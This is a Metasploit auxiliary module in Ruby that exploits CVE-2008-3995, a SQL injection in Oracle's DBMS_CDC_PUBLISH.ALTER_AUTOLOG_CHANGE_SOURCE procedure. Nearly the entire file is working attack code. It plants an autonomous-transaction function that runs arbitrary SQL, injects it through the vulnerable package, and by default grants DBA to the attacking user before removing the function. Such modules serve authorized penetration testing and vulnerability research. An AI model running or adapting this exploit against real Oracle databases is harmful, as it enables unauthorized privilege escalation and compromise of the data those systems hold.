1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::ORACLE
8

9
  def initialize(info = {})
10
    super(
11
      update_info(
12
        info,
13
        'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE',
14
        'Description' => %q{
15
          The module exploits an sql injection flaw in the ALTER_AUTOLOG_CHANGE_SOURCE
16
          procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege
17
          on the vulnerable package can exploit this vulnerability. By default, users granted
18
          EXECUTE_CATALOG_ROLE have the required privilege.
19
          Affected versions: Oracle Database Server versions 10gR1, 10gR2 and 11gR1.
20
          Fixed with October 2008 CPU.
21
        },
22
        'Author' => [ 'MC' ],
23
        'License' => MSF_LICENSE,
24
        'References' => [
25
          [ 'CVE', '2008-3995' ],
26
          [ 'OSVDB', '49320']
27
        ],
28
        'DisclosureDate' => '2008-10-22',
29
        'Notes' => {
30
          'Stability' => [CRASH_SAFE],
31
          'SideEffects' => [IOC_IN_LOGS],
32
          'Reliability' => []
33
        }
34
      )
35
    )
36

37
    register_options(
38
      [
39
        OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),
40
      ]
41
    )
42
  end
43

44
  def run
45
    return if !check_dependencies
46

47
    name = Rex::Text.rand_text_alpha_upper(1..10)
48

49
    function = "
50
      CREATE OR REPLACE FUNCTION #{name}
51
      RETURN VARCHAR2 AUTHID CURRENT_USER
52
      IS
53
      PRAGMA AUTONOMOUS_TRANSACTION;
54
      BEGIN
55
      EXECUTE IMMEDIATE '#{datastore['SQL']}';
56
      COMMIT;
57
      RETURN NULL;
58
      END;"
59

60
    package = "
61
      BEGIN
62
      SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE('''||'||user||'.#{name}||''');
63
      END;
64
      "
65

66
    clean = "DROP FUNCTION #{name}"
67

68
    begin
69
      print_status('Sending function...')
70
      prepare_exec(function)
71
    rescue StandardError
72
      return
73
    end
74
    print_status('Attempting sql injection on SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE...')
75
    prepare_exec(package)
76

77
    print_status("Done! Removing function '#{name}'...")
78
    prepare_exec(clean)
79
  end
80
end
81

82